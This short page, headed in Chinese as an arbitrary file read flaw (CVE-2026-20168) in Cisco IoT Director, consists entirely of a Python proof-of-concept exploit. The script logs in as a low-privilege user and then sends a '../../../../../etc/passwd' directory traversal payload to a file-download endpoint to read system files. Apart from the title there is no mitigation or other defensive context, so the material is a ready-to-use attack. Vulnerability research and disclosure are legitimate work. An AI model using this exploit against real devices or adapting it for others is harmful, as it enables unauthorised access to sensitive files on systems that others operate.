CVE-2026-20168 Cisco IoT Director 任意文件读取漏洞

import requests # Target URL url = "https://target-ip/management/interface" # Attacker credentials (low privilege) credentials = { "username": "low_priv_user", "password": "password" } # Start a session to maintain authentication session = requests.Session() # 1. Login to get authenticated session login_resp = session.post(url + "/login", data=credentials) if login_resp.status_code != 200: print("Login failed") exit() # 2. Exploit: Craft payload to read sensitive file (e.g., /etc/passwd) # The payload attempts to traverse directories using '../' payload = { "file_path": "../../../../../etc/passwd" } # 3. Send malicious request exploit_resp = session.get(url + "/file_download", params=payload) # 4. Check result if exploit_resp.status_code == 200 and "root:" in exploit_resp.text: print("[+] Vulnerability exploited successfully!") print("File content:") print(exploit_resp.text) else: print("[-] Exploit failed or file not found.")